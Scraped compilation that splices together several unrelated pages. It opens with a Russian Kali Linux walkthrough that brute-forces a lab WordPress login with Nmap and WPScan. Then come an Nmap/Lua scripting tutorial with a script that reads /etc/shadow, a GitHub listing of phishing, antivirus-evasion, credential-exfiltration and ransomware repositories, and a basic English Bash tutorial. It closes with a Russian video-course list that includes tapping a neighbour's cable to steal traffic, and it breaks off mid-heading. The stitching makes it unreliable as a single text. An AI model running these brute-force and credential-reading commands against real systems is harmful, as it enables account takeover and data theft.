Kali и другие подобные инструменты помогают обнаружить уязвимости в вашем ПО. И лучше, если первыми их найдёте вы, а не злоумышленники.
Шило в мешке не утаить: по неведению (правда, в некоторых случаях — умышленно) даже крупные корпорации оставляют дыры в своей системе безопасности. Жизненно важно как можно быстрее (1) локализовать их и (2) пофиксить. К счастью, существует множество различных продуктов, которые помогают с первым пунктом. Среди них можно выделить Kali, дистрибутив Linux, разработанный для тестирования систем безопасности. В этой статье я расскажу, как использовать Kali Linux для исследования вашей системы и поиска слабых мест, имитируя атаку злоумышленника.
Дистрибутив Kali включает множество инструментов, каждый из которых имеет открытый исходный код. Достаточно запустить установку дистрибутива и все эти инструменты будут доступны из коробки.
Изображение: Peter Gervase,CC BY-SA 4.0
В качестве подопытных я буду использовать две системы:
- kali.usersys.redhat.com: 30 Гб памяти и 6 виртуальных CPU. Эта система будет выполнять сканирование «жертвы» и запускать атаки.
- vulnerable.usersys.redhat.com: система с Red Hat Enterprise Linux 8 на борту. Вот её нужно будет атаковать.
Я не зря упомянул здесь технические характеристики оборудования. Некоторые из наших задач довольно требовательны к железу, особенно — к CPU системы 2, на которой будет работать сканер безопасности WordPress (WPScan).
Поиск открытых портов
Я начал с базового сканирования системы 2. Сканируя систему с помощью Nmap, можно узнать, какие порты и службы видны из системы 1, запускающей сканирование.
Изображение: Peter Gervase,CC BY-SA 4.0
Итак, первым делом можно найти несколько «интересных» открытых портов — потенциальных слабых мест. На самом деле, любой открытый порт интересен, потому что с его помощью больше шансов взломать сеть. В этом примере 21, 22, 80 и 443 — это ещё и порты часто используемых служб. Но пока я просто занимаюсь разведкой и пытаюсь получить как можно больше информации о системе, которую хочу взломать.
После этого для более глубокого анализа я выбраю порт 80 и запускаю команду Nmap с аргументами -p 80 и -A. Это позволяет получить информацию об операционной системе и приложении, которое использует 80-й порт.
Изображение: Peter Gervase,CC BY-SA 4.0
Здесь нас интересуют следующие строки:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
Поиск информации о пользователях
Поскольку теперь я знаю, что это сервер WordPress, я могу использовать WPScan для получения информации о потенциальных уязвимостях. Хорошо бы найти несколько имён пользователей и их пароли. Чтобы найти их в данном в экземпляре WordPress, используем опции —enumerate u:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __
/ / / | ___/ ___ / __|/ _` | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Отлично, найдены два пользователя: admin и pgervase. Я попытаюсь подобрать пароль для пользователя admin, используя словари паролей — текстовый файл с набором возможных вариантов. Я возьму словари из 3 231 и из 3 543 076 137 строк.
Подбор пароля с атакой по словарю
Для атаки по словарю можно использовать разные инструменты. Вот два примера команд с Nmap и WPScan:
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
Эти два инструмента, конечно же, могут гораздо больше, но и для подбора паролей тоже годятся.
А вот эта команда WPScan, например, выводит пароль в конце файла:
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
/ / __ / ____|
/ / /| |__) | (___ ___ __ _ _ __
/ / / | ___/ ___ / __|/ _` | '_
/ / | | ____) | (__| (_| | | | |
/ / |_| |_____/ ___|__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
Раздел Valid Combinations Found в конце содержит имя пользователя admin и его пароль. На перебор 3 231 строк ушло всего две минуты.
У меня есть ещё один файл словаря с 3 238 659 984 уникальными записями, что займет гораздо больше времени.
Nmap выдаёт результат намного быстрее:
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
Правда, такое сканирование можно отследить по HTTPD-логам, которые будут обнаружены во взломанной системе:
10.19.47.170
- — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575
«http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10
(https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
Поиск Heartbleed-уязвимости
Чтобы получить информацию о HTTPS-сервере и SSL/TLS протоколах, я использую команду sslscan:
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
Мы видим, что в версиях протоколов, которые используются на сервере, Heartbleed-уязвимость не обнаружена:
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
Ну что ж, значит через модуль Heartbeat я не могу получить доступ к оперативной памяти и данным сервера. Что ж… видно не судьба
Советы по предотвращению и защите от взлома
Можно написать много статей про то, как противостоять атакам хакеров всех мастей. Тут я ограничусь общими рекомендациями:
- Изучайте свою систему: какие порты открыты, какие порты должны быть открыты, кто должен иметь возможность видеть эти порты и какой объём трафика должен проходить через них. Nmap вам в помощь.
- Используйте лучшие и передовые практики: то, что считается передовой практикой сегодня, перестанет быть таковой в будущем. Важно быть в курсе новейших достижений в области информационной безопасности.
- Грамотно настраивайте ваши продукты и их окружение: например, вместо того, чтобы позволять злоумышленнику постоянно атаковать вашу систему WordPress, заблокируйте его IP-адрес и ограничьте количество попыток входа в систему. Правда, блокировка IP-адреса часто оказывается бесполезной, потому что злоумышленники могут использовать разные адреса. Однако эту настройку легко включить, и она поможет отразить хотя бы некоторые атаки.
- Создавайте и поддерживайте качественные резервные копии: если злоумышленник взломает одну или несколько ваших систем, возможность восстановить данные без танцев с бубном поможет сэкономить много времени и денег.
- Проверяйте свои логи: как показывают приведённые выше примеры, команды сканирования и прочие проникающие манипуляции могут оставлять множество логов. Если вы заметили их вовремя, вы успеете защититься от взлома.
- Обновляйте свою систему, приложения и любые дополнительные модули: специалисты Института стандартов и технологий США уверены, что «обновления обычно являются наиболее эффективным способом устранения уязвимостей и часто могут стать единственным по-настоящему эффективным решением».
- Используйте дополнительные инструменты от поставщиков вашего ПО: например, в подписку Red Hat Enterprise Linux входит инструмент Red Hat Insights, который позволяет настроить вашу систему и своевременно предупреждает о потенциальных угрозах безопасности.
Полезные материалы (на английском языке)
То, что описано в этой статье, — лишь вершина айсберга. Чтобы погрузиться глубже, вы можете изучить следующие ресурсы:
- NIST
- Nmap
- Armitage
- Red Hat Security
- Red Hat Product Security Center
Облачные серверы от Маклауд быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
Просмотров: 208
Здравствуйте, дорогие друзья.
До сих пор мы обсуждали, как использовать Nmap во время активной разведки, но злоумышленники используют Nmap не только для поиска открытых портов и сервисов, но также привлекают Nmap для оценки уязвимости. По состоянию на 21 декабря 2021, последняя версия Nmap — 7.92, и она поставляется более чем с 600 сценариями NSE, как показано на рисунке ниже:
Пентестеры используют самые мощные и гибкие функции Nmap, которые позволяют им писать свои собственные скрипты, а также автоматизировать их для упрощения эксплуатации. В первую очередь NSE была развита по следующим причинам:
• Обнаружение сети: основной целью, для которой злоумышленники используют Nmap, является сетевая безопасность.
• Лучшее определение версии службы: существуют тысячи служб со сведениями о версии одного и того же сервиса, поэтому Nmap упрощает идентификацию сервиса.
• Обнаружение уязвимости: для автоматического определения уязвимости в широком диапазоне сети; однако Nmap сам по себе не может быть полноценным сканером уязвимостей.
• Обнаружение бэкдоров: некоторые сценарии написаны для определения шаблонов бэкдоров. Если в сети есть какие-либо черви, это упрощает работу злоумышленника.
• Эксплуатация уязвимостей: Злоумышленники также потенциально могут использовать Nmap для эксплуатации, в сочетании с другими инструментами, такими как Metasploit, или написать собственный реверс-шелл оболочки и объединить возможности Nmap с ними для эксплуатации.
Прежде чем запускать Nmap для сканирования уязвимостей, специалисты по тестированию на проникновение должны обновить Nmap, и базу данных скриптов, чтобы узнать, добавлены ли в базу данных какие-либо новые скрипты, чтобы не пропустить идентификацию уязвимости:
sudo nmap —script—updatedb |
Используйте следующую команду, чтобы запустить все сценарии на целевом хосте:
sudo nmap —T4 —A —sV —v3 —d —oA Target output —script all —scriptargsvulns.showall target.com |
Введение в сценарии Lua
Lua — это легкий встраиваемый язык сценариев, построенный на основе программирования на C. Язык, был создан в Бразилии в 1993 году, и до сих пор активно развивается. Это мощный и быстрый язык программирования, в основном используемый в игровых приложениях и обработке изображений. Полный исходный код, руководство и бинарники для некоторых платформ не превышают 1,44 МБ (что меньше, чем дискета). Некоторыми инструментами безопасности, разработанными на Lua, являются Nmap, Wireshark, и Snort 3.0.
Одной из причин, по которой Lua был выбран в качестве языка сценариев в области информационной безопасности, является его компактность, отсутствие переполнения буфера и уязвимости строки формата, а также то, что его можно интерпретировать.
Lua можно установить непосредственно в Kali Linux, выполнив команду sudo apt install lua5.4
в терминале. Следующий фрагмент кода представляет собой пример скрипта для чтения файла и печати первой строки:
#!/usr/bin/lua local file = io.open(«/etc/shadow», «r») contents = file:read() file:close() print (contents) |
Lua подобен любому другому сценарию, такому как сценарии Bash и Perl. Предыдущий скрипт должен произвести вывод, показанный на рисунке ниже:
Кастомизация сценариев NSE
Для достижения максимальной эффективности кастомизация скриптов помогает пентестерам находить, и своевременно устранять нужные уязвимости. Однако в большинстве случаев злоумышленники не имеют времени написания скриптов. Следующий фрагмент кода представляет собой сценарий Lua NSE, для определения определенного местоположения файла, которые будем искать по всей подсети с помощью Nmap:
local http=require ‘http’ description = [[ This is my custom discovery on the network ]] categories = {«safe»,«discovery»} require(«http») function portrule(host, port) return port.number == 80 end function action(host, port) local response response = http.get(host, port, «/config.php») if response.status and response.status ~= 404 then return «successful» end end |
Сохраните файл в папку /usr/share/nmap/scripts/. Наконец, Ваш скрипт готов к тестированию, как показано на рисунке ниже; Вы должны иметь возможность запускать свой собственный скрипт NSE без проблем:
Чтобы полностью понять предыдущий сценарий NSE, вот описание того, что находится в коде:
• локальный http: require’http’: вызывает нужную библиотеку из Lua; эта строка вызывает HTTP скрипт и делает его локальным запросом.
• описание: здесь тестировщики/исследователи могут ввести описание скрипта.
• категории: обычно имеет две переменные, одна из которых объявляет, является ли это безопасным.
На этом все. Всем хорошего дня!
#1 Kali Linux для продвинутого тестирования на проникновение. Целевое тестирование.
#2 Kali Linux для продвинутого тестирования на проникновение. Методология тестирования.
#3 Kali Linux для продвинутого тестирования на проникновение. Введение в возможности Kali Linux.
#4 Kali Linux для продвинутого тестирования на проникновение. Установка на Raspberry Pi 4, VMware Workstation Player, VirtualBox, Docker.
#5 Kali Linux для продвинутого тестирования на проникновение. Kali в облаке Amazon Web Services (AWS).
#6 Kali Linux для продвинутого тестирования на проникновение. Kali на облачной платформе Google (GCP).
#7 Kali Linux для продвинутого тестирования на проникновение. Kali на Android (телефоны без рута).
#8 Kali Linux для продвинутого тестирования на проникновение. Настройка и кастомизация Kali Linux.
#9 Kali Linux для продвинутого тестирования на проникновение. Создание тестовой лаборатории. Active Directory и контроллер домена.
#10 Kali Linux для продвинутого тестирования на проникновение. Создание тестовой лаборатории. Установка Microsoft Exchange Server 2016.
#11 Kali Linux для продвинутого тестирования на проникновение. Создание тестовой лаборатории. Metasploitable3.
#12 Kali Linux для продвинутого тестирования на проникновение. Создание тестовой лаборатории. Mutillidae.
#13 Kali Linux для продвинутого тестирования на проникновение. Создание тестовой лаборатории. CloudGoat.
#14 Kali Linux для продвинутого тестирования на проникновение. OSINT и Пассивная разведка.
#15 Kali Linux для продвинутого тестирования на проникновение. Наступательный OSINT. Maltego.
#16 Kali Linux для продвинутого тестирования на проникновение. Наступательный OSINT. OSRFramework. theHarvester.
#17 Kali Linux для продвинутого тестирования на проникновение. Наступательный OSINT. TinEye. Shodan. SpiderFoot.
#18 Kali Linux для продвинутого тестирования на проникновение. Наступательный OSINT. Гугл Дорки.
#19 Kali Linux для продвинутого тестирования на проникновение. Защитный OSINT. Даркнет. Аналитика угроз.
#20 Kali Linux для продвинутого тестирования на проникновение. Защитный OSINT. CUPP. CeWL. Twofi.
#21 Kali Linux для продвинутого тестирования на проникновение. Активная разведка внешней и внутренней сети.
#22 Kali Linux для продвинутого тестирования на проникновение. Использование прокси с анонимными сетями. Tor. ProxyChains.
#23 Kali Linux для продвинутого тестирования на проникновение. Разведка DNS и сопоставление маршрутов. Recon-ng framework.
#24 Kali Linux для продвинутого тестирования на проникновение. IPv4. IPv6. Инструменты IPv6.
#25 Kali Linux для продвинутого тестирования на проникновение. Идентификация внешней сетевой инфраструктуры.
#26 Kali Linux для продвинутого тестирования на проникновение. Сканирование портов. Nmap. Masscan.
#27 Kali Linux для продвинутого тестирования на проникновение. Информация DHCP. ARP-broadcasting.
#28 Kali Linux для продвинутого тестирования на проникновение. Использование SNMP. Разведка серверов домена Active Directory.
#29 Kali Linux для продвинутого тестирования на проникновение. Перечисление среды Microsoft Azure. Legion. Машинное обучение для разведки.
#30 Kali Linux для продвинутого тестирования на проникновение. Оценка уязвимости. Эксплойты.
Skip to content
Here are
124 public repositories
matching this topic…
The LAZY script will make your life easier, and of course faster.
-
Updated
Aug 28, 2021 -
Shell
💣 Impulse Denial-of-service ToolKit
-
Updated
Oct 29, 2020 -
Python
Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles.
-
Updated
Jan 11, 2023 -
Shell
🆕 The Multi-Tool Web Vulnerability Scanner.
-
Updated
Sep 7, 2022 -
Python
Track Location With Live Address And Accuracy In Termux
-
Updated
Feb 21, 2022 -
Python
Chimera is a PowerShell obfuscation script designed to bypass AMSI and commercial antivirus solutions.
-
Updated
Nov 9, 2021 -
PowerShell
Complete Listing and Usage of Tools used for Ethical Hacking
-
Updated
Oct 5, 2022
Install And Use Kali Linux With Gui In Termux
-
Updated
Nov 19, 2021 -
Shell
ADB-Toolkit V2 for easy ADB tricks with many perks in all one. ENJOY!
-
Updated
Dec 4, 2022 -
Shell
平常看到好的渗透hacking工具和多领域效率工具的集合
-
Updated
Jul 28, 2022
Lockphish it’s the first tool (07/04/2020) for phishing attacks on the lock screen, designed to grab Windows credentials, Android PIN and iPhone Passcode using a https link.
-
Updated
Jul 27, 2021 -
HTML
-
Updated
Mar 3, 2022 -
Shell
|| Activate Burp Suite Pro with Key-Generator and Key-Loader ||
-
Updated
Jan 17, 2023 -
PowerShell
New Interface And Loading Screen For Termux Users
-
Updated
Oct 24, 2021 -
Shell
-
Updated
Sep 5, 2020 -
Shell
Armor is a simple Bash script designed to create encrypted macOS payloads capable of evading antivirus scanners.
-
Updated
Mar 31, 2019 -
Shell
CredPhish is a PowerShell script designed to invoke legitimate credential prompts and exfiltrate passwords over DNS.
-
Updated
Jul 27, 2021 -
PowerShell
Instagram multi-bruteforce Platfrom
-
Updated
Jan 15, 2022
Ransomwares Collection. Don’t Run Them on Your Device.
-
Updated
Jan 3, 2022 -
Shell
100% working Phishing Tool (38 websites)
-
Updated
Jan 5, 2022 -
HTML
Improve this page
Add a description, image, and links to the
kali-scripts
topic page so that developers can more easily learn about it.
Curate this topic
Add this topic to your repo
To associate your repository with the
kali-scripts
topic, visit your repo’s landing page and select «manage topics.»
Learn more
When we are talking about Linux and Terminal, we can’t left Bash scripting. Bash scripting will be very helpful to become a cybersecurity expert, we can automate payloads and other tasks. On our this article we are gonna talk about ‘Bash Scripting‘ and how to write accurate scripts on Linux.
The GNU Bourne-Again Shell (Bash) is a powerful tool and scripting engine. We can do automate many tasks on command-line. In our this guide we are learning Bash scripting and know some practical use case. Here we assume that we know about the Linux files, which discussed on previous article.
Introduction to Bash Scripting
A Bash script is a plain-text file that contains a series of commands that are executed as if they had been typed on terminal window. In general, Bash scripts have an optional extension of .sh for identification (but it can be run without extension name), begin wit #!/bin/bash and must have executable permission set before the script can be executed. Let’s write a simple «Hello World» Bash script on a new file using any text editor, named it hello-world.sh and write the following contains inside it:
#!/bin/bash
# Hello World on Bash Script.
echo «Hello World!»
Then save and close it. In the above script we used some components which we need to explain:
- Line 1: #! is known as shebang, and it is ignored by the Bash interpreter. The second part, /bin/bash, is absolute path to the interpreter, which is used to run the script. For this we can identify that, this a «Bash script». There are various types of shell scripts like «zsh» and «C Shell script» etc.
- Line 2: # is used to add a comment. Hashed (#) tests will be ignored by interpreter. This comments will help us to take special notes for the scripts.
- Line 3: echo «Hello World!» uses the echo Linux command utility to print a given string to the terminal, which in this case is «Hello World!».
Now we need to make this script executable by running following command:
chmod +x hello-world.sh
In the following screenshot we can see the output of the above command:
Now we can run the script by using following command:
bash hello-world.sh
We can see that our script shows output of «Hello World!» on our terminal as we can see in the following screenshot:
The chmod command, with +x flag is used to make the bash script executable and bash along with scriptname.sh we can run it. We can ./scriptname.sh to run the script. This was our first Bash script. Let’s explore Bash in a bit more detail.
Variables
Variables are used for temporarily store data. We c an declare a variable to assign a value inside it, or read a variable, which will «»expand» or «resolve» it to its store value.
We can declare variable values in various ways. The easiest method is to set the value directly with a simple name=value declaration. We should remember that there are no spaces between or after the «=» sign.
On our terminal we can run following command:
name=Kali
Then we again run another command:
surname=Linux
Variable declaring is pointless unless we can use/reference it. To do this, we precede the variable with $ character. Whenever Bash see this ($) syntax in a command, it replaces the variable name with it’s value before executing the command. For an example we can echo both this variable by using following command:
echo $name $surname
In the following screenshot we can the output shows the values of the variables:
Variables names might be uppercase, lowercase or a mixture of both. Bash is case sensitive, so we must be consistent when declaring and expending variables. The good practice to use descriptive variable names, which make our script much easier for others to understand and maintain.
Bash interprets certain characters in specific ways. For example, the following declaration demonstrates an improper multi-value variable declaration:
hello=Hello World
In the following screenshot, we can see the output.
This was not necessarily what we expected. To fix this type of error we can use single quote (‘) or double quote («) to enclose our text. Here we need to know that Bash treats single quotes and double quotes differently. When Bash meets the single quotes, Bash interprets every enclosed character literally. When enclosed in double quotes, all characters are viewed literally expect «$» and «» meaning variables will be expended in an initial substitution pass on the enclosed text.
In the case of above scenario we the following will help to clarify:
hello='Hello World'
Now we can print this variable using echo, shown in following screenshot:
In the above example, we had used the single quote (‘) to use the variable. But when we use the hello variable with something other then we need to use double quote («), we can see following for better understanding:
hello2="Hi, $hello"
Now we can see the print (echo) of new $hello2 variable on the following screenshot:
We can also set the value of the variable to the result of a command or script. This is also known as command substitution, which allows us to take the output of a command (what would normally be printed to the screen) and have it saved as the value of a variable.
To do this, place the variable name in parentheses «()«, preceded by a «$» character:
user=$(whoami)
echo $user
Here we assigned the output of the whoami command the user variable. We then displayed it’s value by echo. In the following screenshot we can see the output of the above command:
An alternative syntax for command substitution using backtick (`), as we can see in the following commands:
user2=`whoami`
echo $user2
This backtick method is older and typically discouraged as there are differences in how the two methods of command substitution behave. It is also important to note that command substitution happens in a subshell and changes to variables in the subshell will not alter variables from the master process.
Arguments
Not all Bash scripts require arguments. However, it is extremely important to understand how they are interpreted by bash and how to use them. We have already executed Linux commands with arguments. For example, when we run command ls -l /var/log, both -l and /var/log are arguments to the ls command.
Bash scripts are not different, we can supply command-line arguments and use them in our scripts. For an example we can see following screenshot:
In the above screenshot, we have created a simple Bash script, set executable permissions on it, and then ran it with two arguments. The $1 and $2 variables represents the first and second arguments passed to the script. Let’s explore a few special Bash variables:
Variable Name | Description |
---|---|
$0 | The name of the Bash script |
$1 — $9 | The first 9 arguments to the Bash script |
$# | Number of arguments passed to the Bash script |
$@ | All arguments passed to the Bash script |
$? | The exit status of the most recently run process |
$$ | The process id of the current script |
$USER | The username of the user running the script |
$HOSTNME | The hostname of the machine |
$RANDOM | A random number |
$LINENO | The current line number in the script |
Some of these special variable can be useful when debugging a script. For example, we might be able to obtain the exit status of a command to determine whether it was successfully executed or not.
Reading User Input
Command-line arguments are a form of user input, but we can also capture interactive user input during a script is running with the read command. We are going to use read to capture user input and assign it to a variable, as we did in the following screenshot:
We can alter the behavior of the read command with various command line options. Two of the most commonly flags include -p, which allows us to specify a prompt, and -s, which makes the user input silent/invisible (might be helpful for credentials). We can see an example in the following screenshot:
If, Else, Elif
If, Else, Elif are considered as most common conditional statements, which allow us to show different actions based on different conditions.
The if statement is quite simple. This checks to see if a condition is true, but it requires a very specific syntax. We need to be careful to attention to this syntax, especially the use of required spaces.
In the above screenshot if «some statement» is true the script will «do some action«, these action can be any command between then and fi. Lets look at an actual example.
On the above example, we used an if statement to check the age inputted by a user. If the user’s age was less than (-lt) 12, the script would output a warning message.
Here the square brackets ([ &]) in the if statement above are originally reference to the test command. This simply means we can use all of the operators that are allowed by the test command. Some of the widely used operators include:
- -n VAR — True if the length of VAR is greater than zero.
- -z VAR — True if the VAR is empty.
- STRING1 = STRING2 — True if STRING1 and STRING2 are equal.
- STRING1 != STRING2 — True if STRING1 and STRING2 are not equal.
- INTEGER1 -eq INTEGER2 — True if INTEGER1 and INTEGER2 are equal.
- INTEGER1 -gt INTEGER2 — True if INTEGER1 is greater than INTEGER2.
- INTEGER1 -lt INTEGER2 — True if INTEGER1 is less than INTEGER2.
- INTEGER1 -ge INTEGER2 — True if INTEGER1 is equal or greater than INTEGER2.
- INTEGER1 -le INTEGER2 — True if INTEGER1 is equal or less than INTEGER2.
- -h FILE — True if the FILE exists and is a symbolic link.
- -r FILE — True if the FILE exists and is readable.
- -w FILE — True if the FILE exists and is writable.
- -x FILE — True if the FILE exists and is executable.
- -d FILE — True if the FILE exists and is a directory.
- -e FILE — True if the FILE exists and is a file, regardless of type (node, directory, socket, etc.).
- -f FILE — True if the FILE exists and is a regular file (not a directory or device).
We had applied these things to the above if statement example and we remove the square brackets using test string. But we think that the square bracket makes the code more readable.
We also can perform a particular set of actions if a statement is true and other statement is false. To do this, we can use the else statement, which has the following syntax:
Now for an example we expand our previous age example including our else statement, as shown in the following screenshot:
We can easily notice that the else statement was executed when the inputted age was not less than 12.
We can add more arguments to the statements with the help of elif statement. The example will be following:
Let’s extend our age example with elif statement in the following screenshot:
On the above example we can see that the code is little bit complex compared to if and else. Here when the user inputs the age grater than 60 elif statement will be executed and output the «Salute …» message.
These are the basic uses of bash. Here we learn some simple bash scripts. There are lots of more topic to cover but we don’t want to make the article longer. If you want next part please Tweet us.
In today’s article we learned Basics of Bash scripting on our Kali Linux. Not only Kali Linux this tutorial will work on any Debian based Linux distro like Ubuntu, Linux Mint etc.
Love our articles? Make sure to follow us on Twitter and GitHub, we post article updates there. To join our KaliLinuxIn family, join our Telegram Group. We are trying to build a community for Linux and Cybersecurity. For anything we always happy to help everyone on the comment section. As we know our comment section is always open to everyone. We read each and every comment and we always reply.
Чтобы защититься от взломов, нужно понимать, как они работают. Изучив этот хакерский курс, вы научитесь им противостоять.
Спасаем свой TD-W8101G от RouterScan и других сканеров
В этом видеотуториале автор рассказывает, как уберечь свой девайс от сканирования извне. Чтобы RouterScan сработал, нужно само приложение RouterScan и внешний IP-адрес роутера. Спастись изменением пароля или перепрошивкой не выйдет. Можно включить NAT и настроить DMZ, добавив в него несуществующий хост в нашей сети с любым IP-адресом, например, 192.168.10.254. Если у вас уже установлен RouterScan, можете попробовать просканировать сеть и убедиться, что роутер больше не виден.
Данный хакерский курс охватывает самые популярные уязвимости. Дальше больше.
DDoS атаки для самых маленьких. Защита и нападение
Во второй лекции на тему хакерства речь пойдет о DDoS-ах. DDoS (Distributed Denial of Service) – это вывод из строя сервиса, компьютера или сети при помощи множественных запросов. В первой показательной атаке участвует устаревший веб-сервер Apache и старая версия php. Во второй атаке автор показывает, как “забить” пропускную способность интернет-канала машины-жертвы.
Перехват трафика с ethernet кабеля
Если хотите узнать, что делает в интернете ваш сосед – этот видеоурок для вас. Автор наглядно показывает, как можно при помощи обычного джека (разъема RJ45) и пары “крокодилов” влезть в канал жертвы. Информация по кабелю в 100 Мб канале интернета идет не по всем жилам, а по определенным цветам: бело-оранжевый + оранжевый используется для передачи, а бело-зеленый + зеленый на прием. К этим жилам и будем подключаться для кражи данных.
Как проводится MITM-атака. Часть 1
MITM-атака (ManInTheMiddle) или атака посредника – очень распространенный тип атак. Суть в том, что на отрезке между компьютером жертвы и сервером находится злоумышленник, который подменяет данные как от жертвы до сервера, так и в обратном направлении. В первой части этого видеогайда автор подробно, с визуализацией на доске, показывает весь процесс атаки.
https://www.youtube.com/watch?v=0wpxrPD90a4
Как проводится MITM-атака. Часть 2
Во второй части урока про атаку MITM автор по пунктам рассказывает, с чего начать. Тестовая атака будет производиться в одной подсети, т. е. и жертва, и атакующий находятся в одном сегменте сети. Для понимания всего происходящего и для собственных экспериментов рекомендуются минимальные познания в Linux и в работе с терминалом. Ролик очень занятный – мотивирует к дальнейшему совершенствованию собственных навыков.
https://www.youtube.com/watch?v=quZjKlrmCvQ
Взлом Wi-Fi c шифрованием WEP
Как и в прошлых видеолекциях, для своей хакерской деятельности автор юзает Kali Linux. Для поставленной задачи будет использоваться специальный софт – Aircrack-ng. Этот набор утилит позволяет сканировать доступные Wi-Fi сети, дампить и парсить трафик и еще много чего. В результате работы всей связки получаем 26-значный пароль от беспроводной сети.
Pro взлом Wi-Fi для чайников. Часть 1
